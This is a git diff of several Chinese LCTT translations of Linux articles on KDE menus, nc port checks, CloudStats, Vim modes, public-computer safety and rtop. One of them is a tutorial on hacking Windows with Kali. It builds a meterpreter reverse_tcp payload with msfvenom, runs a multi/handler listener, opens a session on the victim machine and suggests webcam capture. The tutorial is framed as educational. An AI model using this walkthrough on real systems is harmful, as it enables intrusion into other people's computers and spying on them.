现在 Solus 社区不像 Arch Linux 那么大,但是随着时间的推移,它会增长,特别是你可以通过贡献新的或更新包来帮助它成长。最后,每当我想重新安装我的笔记本,我可以总是依赖我手上的 Solus Live USB。
我想知道三个你日常使用的系统,特别是在你发现你不得不重新安装系统时。是的,我知道,有很多其他发行版提供了一个快速的安装过程,如 Ubuntu这是很多人喜欢的但哪个滚动发行版是你最喜欢的为什么
我想知道你日常使用这三个系统中的哪个,特别是在你发现你不得不重新安装系统时。是的,我知道,有很多其他发行版提供了一个快速的安装过程,如 Ubuntu这是很多人喜欢的但哪个滚动发行版是你最喜欢的为什么
--------------------------------------------------------------------------------
@ -27,7 +27,7 @@ via: http://news.softpedia.com/news/arch-linux-vs-solus-vs-opensuse-tumbleweed-y
作者:[Marius Nestor][a]
译者:[geekpi](https://github.com/geekpi)
校对:[校对者ID](https://github.com/校对者ID)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出

View File

@ -0,0 +1,73 @@
如何在 KDE Plasma 5.9 中激活全局菜单
============================================================
![Global Menus in Kde Plasma 5.9](http://fasterland.net/wp-content/uploads/2017/02/plasma59-globalmenus-750x411.jpg)
全局菜单是 KDE Plasma 5.9 这个最新的 KDE 桌面环境主版本中的最有趣的功能之一。
全局菜单允许用户将应用程序菜单application menu放到程序内作为标题栏按钮或放到屏幕顶部的组件面板中。
全局菜单是一个用户渴望的令人兴奋的功能,但不幸的是,由于某些原因,如果你不知道在哪里找到它,启用它可能有点复杂。
在本教程中,我们将了解如何启用“标题栏按钮”和“应用程序组件”菜单。
### 标题栏按钮
[
![Titlebar Button Plasma 5.9](http://fasterland.net/wp-content/uploads/2017/02/plasma-59-titlebar-button.png)
][4]
*Plasma 5.9 中 Konsole 的标题栏按钮 widget*
标题栏按钮是放置在标题栏中的一个小图标用户可以通过点击它来访问应用程序菜单。要启用它打开系统设置System Settings并进入应用程序样式Application Style选项。 在组件样式Widget Style设置中进入微调Fine Tuning选项卡然后选择标题栏按钮Title bar button作为菜单样式Menubar style选项。
[
![The Widget Style panel](http://fasterland.net/wp-content/uploads/2017/02/plasma-59-widget-style-panel.png)
][5]
*组件样式面板*
在此之后要使用它你需要_手动_放置标题按钮因为它不是自动出现的。
为此请进入应用程序样式Application Style的窗口装饰Windows Decoration。进入按钮Buttons选项卡并将小的应用程序菜单Application Menu图标拖动到标题栏按钮Title bar中。
[
![Drag this button into the titlebar](http://fasterland.net/wp-content/uploads/2017/02/plasma59-titlebar-drag-button.png)
][6]
*拖动这个按钮到标题栏中*
现在你可以在任何有应用菜单的程序中看到标题栏按钮了。
### 应用程序菜单组件
[
![Application Menu Bar in Plasma 5.9](http://fasterland.net/wp-content/uploads/2017/02/plasma59-application-menu-bar.jpg)
][7]
*Plasma 5.9 中的应用菜单面板*
要启用应用程序菜单组件请在微调Fine Tuning选项卡的菜单样式Menu Style选项中选择相关条目。
在桌面上右键单击然后选择添加面板Add Panel-> 应用程序菜单栏Application Menu Bar
如你所见,如果你不知道在哪里找到它,启用“全局菜单”可能会有点复杂。无论如何,虽然我非常感谢 KDE 团队为这个新的 Plasma 主要版本做了出色的工作,但是我希望他们继续提高桌面可用性,让那些不想花时间在互联网上搜索这样的教程的人而言,使这个新的有趣的功能更容易启用。
--------------------------------------------------------------------------------
via: http://fasterland.net/activate-global-menu-kde-plasma-5-9.html
作者:[Francesco Mondello][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://fasterland.net/
[1]:http://fasterland.net/author/faster3ck
[2]:http://fasterland.net/
[3]:http://fasterland.net/category/linux-howtos
[4]:http://fasterland.net/wp-content/uploads/2017/02/plasma-59-titlebar-button.png
[5]:http://fasterland.net/wp-content/uploads/2017/02/plasma-59-widget-style-panel.png
[6]:http://fasterland.net/wp-content/uploads/2017/02/plasma59-titlebar-drag-button.png
[7]:http://fasterland.net/wp-content/uploads/2017/02/plasma59-application-menu-bar.jpg

View File

@ -1,13 +1,13 @@
使用 nc 命令检查远程端口是否打开
使用 nc 命令检查远程端口是否打开
============================================================
端口是作为与 Linux 操作系统上的应用或进程相关联的端点的逻辑实体。在使用之前,了解目标机器上哪些端口是打开并正在运行服务是非常有用的。
**端口**是与 Linux 操作系统上的应用或进程的通讯端点的逻辑实体。在使用之前,了解目标机器上哪些端口是打开并正在运行服务是非常有用的。
我们可以使用 [netstat][4] 或其他几个 Linux 命令如 [NMAP][5] 在本地机器上轻松地[列出 Linux 中的打开端口][3]。
在本指南中,我们将向你展示如何使用简单的 netcat简称 nc命令来确定远程主机上的端口是否可访问/打开。
在本指南中,我们将向你展示如何使用简单的 `netcat`(简称 `nc`)命令来确定远程主机上的端口是否可访问/打开。
netcat或简称 nc是一个功能强大且易于使用的程序可用于 Linux 中与 TCP、UDP 或 UNIX 域套接字相关的任何事情。
`netcat`(或简称 `nc`)是一个功能强大且易于使用的程序,可用于 Linux 中与 TCP、UDP 或 UNIX 域套接字相关的任何事情。
```
# yum install nc [在 CentOS/RHEL 中]
@ -17,7 +17,7 @@ $ sudo apt-get install netcat [在 Debian/Ubuntu 中]
我们可以使用它:打开 TCP 连接、侦听任意 TCP 和 UDP 端口、发送 UDP 数据包、在 IPv4 和 IPv6 进行端口扫描。
使用 netcat你可以检查单个或多个或一系列打开的端口,如下所示。下面的命令将帮助我们查看端口 22 是否在主机 192.168.56.10 上打开:
使用 **netcat**,你可以检查单个或多个或一段打开的端口范围,如下所示。下面的命令将帮助我们查看端口 22 是否在主机 192.168.56.10 上打开:
```
$ nc -zv 192.168.1.15 22
@ -26,9 +26,9 @@ $ nc -zv 192.168.1.15 22
上面的命令中,这些标志是:
1. `-z`  设置 nc 只是扫描侦听守护进程,实际上不向它们发送任何数据。
2. `-v`  启用 verbose 模式
2. `-v`  启用详细模式
下面的命令会在远程主机 192.168.5.10 上端口 80、22 和 21 是否打开(我们也可以使用主机名):
下面的命令会检查远程主机 192.168.5.10 上是否打开了端口 80、22 和 21(我们也可以使用主机名):
```
nc -zv 192.168.56.10 80 22 21
@ -42,10 +42,10 @@ $ nc -zv 192.168.56.10 20-80
更多关于 netcat 命令的例子和使用,阅读我们下面的文章。
1. [使用 netcat 命令在 Linux 服务器键传输文件][1]
2. [Linux 网络配置及除错命令][2]
1.  [使用 netcat 命令在 Linux 服务器间传输文件][1]
2.  [Linux 网络配置及排障调试命令][2]
就是这样。在本文中,我们解释了如何使用 netcat 命令检测远程主机端口是否可达/打开。在评论栏中留下你的想法。
就是这样。在本文中,我们解释了如何使用 netcat 命令检测远程主机端口是否可达/打开。在评论栏中留下你的想法。
--------------------------------------------------------------------------------
@ -59,7 +59,7 @@ via: http://www.tecmint.com/check-remote-port-in-linux/
作者:[Aaron Kili][a]
译者:[geekpi](https://github.com/geekpi)
校对:[校对者ID](https://github.com/校对者ID)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出

View File

@ -0,0 +1,80 @@
CloudStats SaaS 服务器监控工具
============================================================
CloudStats 是一个简单而强大的[服务器监控][1]和网络监控工具。使用 CloudStats你可以监控来自世界上任何地方的服务器和网络的所有指标。
最棒的是你不需要有任何特殊的技术技能 - CloudStats 很容易安装在任何数据中心的任何服务器上。
CloudStats 允许你使用任何操作系统对任何服务器执行服务器监视。它只需要在你的服务器上运行一个命令,即可获取所有服务器的统计信息。
在服务器和 CloudStats 之间的同步完成后,你将获得有关你的服务器和网络的完整信息,包括 CPU、磁盘、RAM、网络使用情况等。你还可以监控 Apache、MySQL、邮件、FTP、DNS 和其他服务。
这里有几个关于 CloudStats 监控的截图。
[
![CloudStats - Server Overview](http://www.tecmint.com/wp-content/uploads/2017/02/CloudStats-Server-Overview.png)
][2]
*CloudStats 服务器概览*
[
![CloudStats - Server Monitoring Overview](http://www.tecmint.com/wp-content/uploads/2017/02/CloudStats-Server-Monitoring-Overview.png)
][3]
*CloudStats 服务监控概览*
[
![CloudStats - List of Servers for Monitoring](http://www.tecmint.com/wp-content/uploads/2017/02/CloudStats-Server-Monitoring.png)
][4]
*CloudStats 监控的服务器列表*
如果系统中出现问题CloudStats 将立即发出警报你将在你的帐户界面中看到问题通知并且还会通过电子邮件、Skype 或 Slack 接收警报。这将帮助你及时检测和修复服务器功能中的任何问题并防止停机。
使用 CloudStats 的另一个原因是,你可以登录 CloudStats 帐户从任何地方无论你在哪里使用家庭或办公室PC、智能手机或平板电脑检查 IT 基础架构的状态。
[CloudStats 服务监控][5]服务基于 Microsoft Azure 云技术运行,确保其监控结果始终是正确的及最新的。
###### 下面是 CloudStats 的一些功能:
1. Linux 及 Windows 服务监控
2. 数据备份工具
3. 网络监控
4. 进程监控
5. 服务状态检查
6. 外部检查
7. URL 监控及 PingMap
8. Email、Skype 及 Slack 警告
9. 有免费账户
使用 CloudStats 后你将能够监控数百台服务器。此工具适用于商业和个人使用。与现有的服务器和网络监控服务相比CloudStats 解决方案更便宜、更易于安装和更有用。
现在[注册一个可以监控多达 10 台服务器、网站和 IP 地址免费的个人][6]账户!
--------------------------------------------------------------------------------
作者简介:
我是 Ravi SaiveTecMint 的创建者。一个喜欢在互联网上分享技巧和提示计算机 Geek 和 Linux 专家。我的大多数服务器运行在 Linux 开源平台上。在 Twitter、Facebook 和 Google+ 上关注我。
--------------------------------------------------------------------------------
via: http://www.tecmint.com/cloudstats-linux-server-monitoring-tool/
作者:[Ravi Saive][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.tecmint.com/author/admin/
[00]:https://twitter.com/ravisaive
[01]:https://www.facebook.com/ravi.saive
[02]:https://plus.google.com/u/0/+RaviSaive
[1]:https://servermonitoring.me/?utm_source=tecmint1&utm_campaign=tecmint1&utm_medium=tecmintpost1
[2]:http://www.tecmint.com/wp-content/uploads/2017/02/CloudStats-Server-Overview.png
[3]:http://www.tecmint.com/wp-content/uploads/2017/02/CloudStats-Server-Monitoring-Overview.png
[4]:http://www.tecmint.com/wp-content/uploads/2017/02/CloudStats-Server-Monitoring.png
[5]:https://servermonitoring.me/?utm_source=tecmint1&utm_campaign=tecmint1&utm_medium=tecmintpost1
[6]:https://servermonitoring.me/?utm_source=tecmint1&utm_campaign=tecmint1&utm_medium=tecmintpost1

View File

@ -0,0 +1,173 @@
如何使用 Kali Linux 黑掉 Windows
====================
Kali Linux 派生自 Debian Linux主要用于渗透测试拥有超过 300 个的预安装好的渗透测试工具。Metasploit 项目中 Metasploit 框架支持 Kali Linux 平台Metasploit 是一个用于开发和执行安全利用代码security exploit的工具。让我们来使用 Kali Linux 来攻破 Windows 吧。请注意,我写这篇文章只是出于教育目的哦——一切因此带来的后果和本文作者、译者无关。
### 源机器详情
Kali Linux
```
root@kali:/# uname -a
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
root@kali:/#
```
用做攻击对象的目标机器:
```
Windows 7 Ultimate SP1
```
### 步骤 1创建 Payload 程序
Payload 是一个类似于病毒或者木马的程序,可以运行在远程目标上 —— 为了黑掉那台机器。可以通过以下命令来创建 Payload`program.exe`),以便能使用 Kali Linux 黑掉 Windows。
```
root@kali:/# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.128 LPORT=4444 --format=exe -o /root/program.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes
Saved as: /root/program.exe
root@kali:/# ls -la /root/program.exe
-rw-r--r-- 1 root root 73802 Jan 26 00:46 /root/program.exe
```
通过 `ls` 命令,我们可以确认 Payload 程序是否成功生成在指定的位置。
### 步骤 2运行 `mfsconsole` 命令启动 msf 命令窗口
```
root@kali:# msfconsole
.,,. .
.\$$$$$L..,,==aaccaacc%#s$b. d8, d8P
d8P #$$$$$$$$$$$$$$$$$$$$$$$$$$$b. `BP d888888p
d888888P '7$$$$\""""''^^`` .7$$$|D*"'``` ?88'
d8bd8b.d8p d8888b ?88' d888b8b _.os#$|8*"` d8P ?8b 88P
88P`?P'?P d8b_,dP 88P d8P' ?88 .oaS###S*"` d8P d8888b $whi?88b 88b
d88 d8 ?8 88b 88b 88b ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"` `?88' ?88 ?88 88b d88 d88
.a#$$$$$$"` 88b d8P 88b`?8888P'
,s$$$$$$$"` 888888P' 88n _.,,,ass;:
.a$$$$$$$P` d88P' .,.ass%#S$$$$$$$$$$$$$$'
.a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
.a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
_______________________________________________________________ ,&$$$$$$'_____
ll&&$$$$'
.;;lll&&&&'
...;;lllll&'
......;;;llll;;;....
` ......;;;;... . .
Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings -- learn more on http://rapid7.com/metasploit
=[ metasploit v4.12.22-dev ]
+ -- --=[ 1577 exploits - 906 auxiliary - 272 post ]
+ -- --=[ 455 payloads - 39 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf >
```
### 步骤 3进行漏洞利用的细节
* 4444 端口:你可以按照自己的想法来选择使用哪个端口
* LHOST IP表示 Kali Linux 机器的 IP这里是 192.168.189.128。 使用如下命令来查看你的 Kali Linux 机器的 IP。
```
root@kali:/# ip r l
192.168.189.0/24 dev eth0 proto kernel scope link src 192.168.189.128 metric 100
root@kali:/#
```
现在在 msf 命令窗口使用 `use exploit/multi/handler` 命令,如下:
```
msf > use exploit/multi/handler
msf exploit(handler) >
```
然后在接下来的命令窗口中使用命令 `set payload windows/meterpreter/reverse_tcp`
```
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
```
现在使用 LHOST 和 LPORT 来设置本地 IP 和本地端口,如下:
```
msf exploit(handler) > set lhost 192.168.189.128
lhost => 192.168.189.128
msf exploit(handler) > set lport 4444
lport => 4444
```
最后使用 `exploit` 命令。
```
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.189.128:4444
[*] Starting the payload handler...
```
现在你需要在 Windows 上运行 `program.exe`,一旦它在目标机器上执行,你就可以建立一个 meterpreter 会话。输入 `sysinfo` 就可以得到这台被黑掉的 Windows 机器的详情。
```
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.189.128:4444
[*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 192.168.189.1
[*] Meterpreter session 1 opened (192.168.189.128:4444 -> 192.168.189.1:53091) at 2017-01-26 00:51:31 +0000
meterpreter > sysinfo
Computer : MANN-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64 (Current Process is WOW64)
System Language : en_IN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
```
一旦你得到了这些详细信息,就可以做更多的漏洞利用,或者通过 `help` 命令获取更多信息,以便列出你可以黑掉该系统的所有选项,比如 `webcam_snap` 命令获取网络摄像头,同样你还可以使用其他更多的可用选项。祝你入侵愉快!!!! ←_←
------------------------------------
译者简介:
[GHLandy](http://GHLandy.com) —— 划不完粉腮柳眉泣别离。
------------------------------------
via: http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/
作者:[Manmohan Mirkar][a]
译者:[GHLandy](https://github.com/GHLandy)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/
[1]:http://www.linuxroutes.com/author/admin/
[2]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#respond
[3]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
[4]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
[5]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
[6]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
[7]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
[8]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
[9]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
[10]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
[11]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
[12]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
[13]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#

View File

@ -0,0 +1,103 @@
Vim 编辑器的兼容模式
============================================================
目前,在我们讲述 [Vim][5] 的教程中讨论过编辑器的模式行Modeline功能以及怎样用[插件][6]来扩展 Vim 的功能集。可正如我们所知Vim 提供了非常多的内置功能:因此在本教程中更进一步,我们来谈谈在该编辑器启动时的可用模式。
但在我们开始之前,请注意在本教程中提及的所有例子、命令及用法说明都是在 Ubuntu 14.04 上测试的,我们测试用的 Vim 版本是 7.4 。
### Vim 中的兼容模式与不兼容模式
为了更好理解上述的 Vim 模式,你有必要先去了解下此编辑器初始化过程的一个重要方面。
#### 系统级及本地 vimrc 文件
当 Vim 启动时,编辑器会去搜索一个系统级的 vimrc 文件来进行系统范围内的默认初始化工作。
这个文件通常在你系统里 `$VIM/vimrc` 的路径下,如果没在那里,那你可以通过在 Vim 里面运行 `:version` 命令来找到它的正确存放位置。比如说,在我这里,这个命令的相关部分的输出结果如下:
```
...
...
...
system vimrc file: "$VIM/vimrc"
user vimrc file: "$HOME/.vimrc"
2nd user vimrc file: "~/.vim/vimrc"
user exrc file: "$HOME/.exrc"
fall-back for $VIM: "/usr/share/vim"
...
...
...
```
可以看到那个系统 vimrc 文件确实位于 `$VIM/vimrc` ,但我检查了我机子上没设置过 `$VIM` 环境变量。所以在这个例子里 - 正如你在上面的输出所看到的 - $VIM 在我这的路径是 `/usr/share/vim` 是一个回落值LCTT 译注:即如果前面失败的话,最终采用的结果)。于是我试着在这个路径寻找 vimrc ,我看到这个文件是存在的。如上即是我的系统 vimrc 文件,就如前面提过的那样 - 它在 Vim 启动时会被读取。
在这个系统级 vimrc 文件被读取解析完后编辑器会查找一个用户特定的或者说本地的vimrc 文件。这个本地 vimrc 的[搜索顺序][7]是:环境变量 `VIMINIT`、`$HOME/.vimrc`、环境变量 `EXINIT` 和一个叫 `exrc` 的文件。通常情况下,会存在 `$HOME/.vimrc``~/.vimrc` 这样的文件,这个文件可看作是本地 vimrc。
#### 我们谈论的是什么兼容性
就像我们谈论 Vim 的兼容性模式和不兼容性模式那样,这些模式的开启和禁用会做出什么样的兼容性也值得了解。要了解这些,先要知道 Vim 是 **V**i **IM**proved 的缩写像这个全名暗示的那样Vim 编辑器是 Vi 编辑器的改进版。
经过改进意味着 Vim 的功能集比 Vi 的更大。为了更好的理解这俩编辑器的区别,点[这里][8]。
当谈论 Vim 的兼容和不兼容模式时,我们所说的兼容性是指 Vim 兼容 Vi。在兼容模式下运行时Vim 大部分增强及改善的功能就不可用了。不管怎样要记住这种模式下Vim 并不能简单等同 Vi - 此模式只是设定一些类似 Vi 编辑器工作方式的默认选项。
不兼容模式 - 不用多说 - 使得 Vim 用起来跟 Vi 不兼容,也使得用户可以用到它的所有增强、改善及特征。
#### 怎么启用/禁用这些模式?
在 Vim 中尝试运行 `:help compatible` 命令,接着你会看到如下语法:
```
'compatible' 'cp' boolean (默认开启 ,当 |vimrc| 或 |gvimrc| 存在时关闭)
```
描述中说到兼容模式默认开启的,不过当 vimrc 文件存在时会关闭。但说的是哪种 vimrc 文件呢?答案是本地 vimrc。深入研究下 `:help compatible` 命令给出的详情,你会发现下面内容说得更清楚:
> 事实上,这意味着当一个 |vimrc| 或 |gvimrc| 文件存在时Vim 会用默认的 Vim否则它会用 Vi 默认的。(注:如果系统级的 vimrc 或 gvimrc 文件中带有 |-u| 参数,则不会这样。)。
那么在 Vim 启动时,实际上进行的动作是,首先会解析系统 vimrc 文件 - 在这时处于兼容性模式默认开启状态。现在,无论何时发现一个用户(或成为本地) vimrc ,不兼容模式都会打开。`:help compatible-default`命令说的很清楚:
> 在 Vim 启动时compatible选项是打开的。这将在 Vim 开始初始化时应用。但是一旦之后发现用户级 vimrc 文件,或在当前目录有一个 vimrc 文件,抑或是 `VIMINIT` 环境变量已设置Vim 就会被设为不兼容模式。
假如你想无视默认的行为,要在编辑器开始解析系统 vimrc 文件时打开不兼容模式,你可以通过添加如下命令到那个文件的开头来完成这个操作。
```
:set nocompatible
```
#### 其他有用细节
这儿是一些关于这些模式的更有用的细节:
> 现在通过创建一个 .vimrc 文件来设置或重置兼容性会有一个副作用:(键盘)映射(`Mapping`)在解释的时候会有冲突。这使得在用诸如回车控制符 `<CR>` 等情况时会有影响。如果映射关系依赖于兼容性的某个特定值,在给出映射前设置或者重置它。
> 上述行为能够用以下方式能覆盖:
- 如果给出 `-N` 命令行参数,即使不存在 vimrc 文件, ‘不兼容模式’ 也会启用。
- 如果给出 `-C` 命令行参数,即使存在 vimrc 文件, ‘兼容模式’ 也会启用。
- 如果应用了 `-u {vimrc}` 参数,‘兼容模式’将会启用。
- 当 Vim 的可执行文件的名称以 `ex` 结尾时,那这个效果跟给出 `-C` 参数一样:即使存在一个 vimrc 文件,‘兼容模式’ 也会启用,因为当 Vim 以 “ex” 的名称启用时,就会让 Vim 的工作表现得像 “前任” 一样LCTT 译注:意即 Vim 像 Vi 一样工作)。
```
### 结论
我们都觉得,你可能不会发现你自己有机会处于一种你需要打开 Vim 的 Vi 兼容模式的情形中,但是那并不意味着你应该不知道 Vim 编辑器的初始化过程。毕竟,你绝不会知道这些知识什么时候会帮到你。
--------------------------------------------------------------------------------
via: https://www.howtoforge.com/tutorial/vim-editor-modes-explained/
作者:[Himanshu Arora][a]
译者:[ch-cn](https://github.com/ch-cn)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://www.howtoforge.com/tutorial/vim-editor-modes-explained/
[1]:https://www.howtoforge.com/tutorial/vim-editor-modes-explained/#system-and-local-vimrc
[2]:https://www.howtoforge.com/tutorial/vim-editor-modes-explained/#what-compatibility-are-we-talking
[3]:https://www.howtoforge.com/tutorial/vim-editor-modes-explained/#how-to-enabledisable-these-modes
[4]:https://www.howtoforge.com/tutorial/vim-editor-modes-explained/#other-useful-details
[5]:https://www.howtoforge.com/vim-basics
[6]:https://www.howtoforge.com/tutorial/vim-editor-plugins-for-software-developers-3/
[7]:http://vimdoc.sourceforge.net/htmldoc/starting.html#system-vimrc
[8]:http://askubuntu.com/questions/418396/what-is-the-difference-between-vi-and-vim

View File

@ -0,0 +1,49 @@
如何在使用网吧或公用计算机时保持数据安全
=============================================
![](https://cdn.fedoramagazine.org/wp-content/uploads/2016/09/securitytips-945x400.png)
对我们许多人来说安全最重要的是使我们的个人数据安全。理论上最好的安全能够承受任何滥用。然而在现实世界中你不能覆盖_所有_可能的滥用情况。因此最好的策略是使用多种技术来提高安全性。大多数正常人不需要复杂的方案和[加密][2]来保持安全,但是可以让入侵者访问你的数据变得很困难。
这可能听起来很蠢,但在图书馆,教室或实验室中的计算机 - 或者你的朋友的电话 - 它们不是你的。即使是云或云服务通常也只是别人的计算机。一般来说,将你不拥有的任何设备视为属于坏人所有,换句话说,他们想要你的数据用于邪恶用途。
以下是一些简单的方法,可以增加你的数据安全性来应对不法之徒或入侵者。
### 关闭打开的会话
当你用完设备后,登出如 Facebook 或其他站点服务。这可以防止作恶者重新打开窗口并访问你的账户。
### 清理浏览器和其他缓存
清理你浏览器中所有的历史、密码和 cookie。不要假设这些是登出后默认的动作。这取决于平台同时检查缓存。如果你使用的是 Linux 系统,删除 `~/.cache` 缓存文件夹。
### 清空垃圾箱
删除桌面上遗留的任何东西,如果可以,同时清空垃圾箱。
### 使用服务安全选项
为你的服务和帐户启用登录通知或登录批准。某些服务有一个选项,当有人从新设备或位置登录你的帐户时通知你。当你登录时,你也会收到通知。但是,知道某些人是否尝试从其他计算机或位置意外地使用你的登录信息还是很有帮助的。
一些服务可能允许你通过电子邮件通知来批准任何登录活动。只有通过你收到的电子邮件中的链接进行批准,才能授予访问权限。检查你的服务,看看他们是否提供这些安全选项。
### 限制敏感信息
在不属于你的计算机上保持数据安全的最简单的方法是不要处理它。尽量避免或限制需要敏感信息的工作。例如,你可能不想在工作场所访问银行或信用卡帐户或者安全系统。
你可能需要考虑使用基于 Live USB 的操作系统来实现这些目的。Live USB 会限制甚至完全避免在运行它的主机系统上的任何数据存储。例如,你可以[下载 Live Fedora Workstation 操作系统][3]在 USB 上使用。
--------------------------------------------------------------------------------
via: https://fedoramagazine.org/5-security-tips-shared-public-computers/
作者:[Sylvia Sánchez][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://lailah.id.fedoraproject.org/
[1]:https://fedoramagazine.org/5-security-tips-shared-public-computers/
[2]:https://en.wikipedia.org/wiki/Cryptography
[3]:https://getfedora.org/workstation/download/

View File

@ -0,0 +1,111 @@
rtop一个通过 SSH 监控远程主机的交互式工具
============================================================
rtop 是一个基于 SSH 的直接的交互式[远程系统监控工具][2],它收集并显示重要的系统性能指标,如 CPU、磁盘、内存和网络指标。
它用 [Go 语言][3]编写,不需要在要监视的服务器上安装任何额外的程序,除了 SSH 服务器和登录凭据。
rtop 基本上是通过启动 SSH 会话和[在远程服务器上执行某些命令][4]来收集各种系统性能信息。
一旦 SSH 会话建立,它每隔几秒(默认情况下为 5 秒)刷新来自远程服务器收集的信息,类似于 Linux 中的所有其它[类似 top 的使用程序(如 htop][5]。
#### 安装要求:
要安装 rtop 确保你已经在 Linux 中安装了 GoGoLang1.2 或更高版本,否则请点击下面的链接根据步骤安装 GoLang
- [在 Linux 中安装 GoLang Go 编程语言)][1]
### 如何在 Linux 系统中安装 rtop
如果你已经安装了 Go运行下面的命令构建 rtop
```
$ go get github.com/rapidloop/rtop
```
命令完成后 rtop 可执行程序会保存在 $GOPATH/bin 或者 $GOBIN 中。
[
![Build rtop in Linux](http://www.tecmint.com/wp-content/uploads/2017/02/Build-rtop-Tool.png)
][6]
*在 Linux 中构建 rtop*
注意:使用 rtop 不需要任何运行时环境或配置。
### 如何在 Linux 系统中使用 rtop
尝试不用任何标志或参数运行 rtop 会显示如下信息:
```
$ $GOBIN/rtop
```
示例输出:
```
rtop 1.0 - (c) 2015 RapidLoop - MIT Licensed - http://rtop-monitor.org
rtop monitors server statistics over an ssh connection
Usage: rtop [-i private-key-file] [user@]host[:port] [interval]
-i private-key-file
PEM-encoded private key file to use (default: ~/.ssh/id_rsa if present)
[user@]host[:port]
the SSH server to connect to, with optional username and port
interval
refresh interval in seconds (default: 5)
```
现在让我们用 rtop 监控远程 Linux 服务器,默认每 5 秒刷新收集到的信息:
```
$ $GOBIN/rtop aaronkilik@10.42.0.1
```
[
![rtop - Monitor Remote Linux Server](http://www.tecmint.com/wp-content/uploads/2017/02/Monitor-Remote-Linux-Server.png)
][7]
*rtop 监控远程 Linux 主机*
命令会每隔 10 秒刷新系统性能指标:
```
$ $GOBIN/rtop aaronkilik@10.42.0.1 10
```
rtop 同样可以使用 ssh-agent、[密钥][8]或者密码授权连接。
访问 rtop 的 Github 仓库:[https://github.com/rapidloop/rtop][9]。
总结一下rtop 是一个简单易用的远程服务器监控工具,它使用非常少且直白的选项。你可以阅读服务器中其他[监控系统的命令行工具][10]来提高你的[ Linux 性能监控][11]技能。
最后,在下面的评论栏中留下你的任何问题和想法。
--------------------------------------------------------------------------------
作者简介:
Aaron Kili 是 Linux 和 F.O.S.S 爱好者,将来的 Linux SysAdmin 和 web 开发人员,目前是 TecMint 的内容创建者,他喜欢用电脑工作,并坚信分享知识。
--------------------------------------------------------------------------------
via: http://www.tecmint.com/rtop-monitor-remote-linux-server-over-ssh/
作者:[Aaron Kili][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.tecmint.com/author/aaronkili/
[1]:http://www.tecmint.com/install-go-in-linux/
[2]:http://www.tecmint.com/command-line-tools-to-monitor-linux-performance/
[3]:http://www.tecmint.com/install-go-in-linux/
[4]:http://www.tecmint.com/execute-commands-on-multiple-linux-servers-using-pssh/
[5]:http://www.tecmint.com/install-htop-linux-process-monitoring-for-rhel-centos-fedora/
[6]:http://www.tecmint.com/wp-content/uploads/2017/02/Build-rtop-Tool.png
[7]:http://www.tecmint.com/wp-content/uploads/2017/02/Monitor-Remote-Linux-Server.png
[8]:http://www.tecmint.com/ssh-passwordless-login-using-ssh-keygen-in-5-easy-steps/
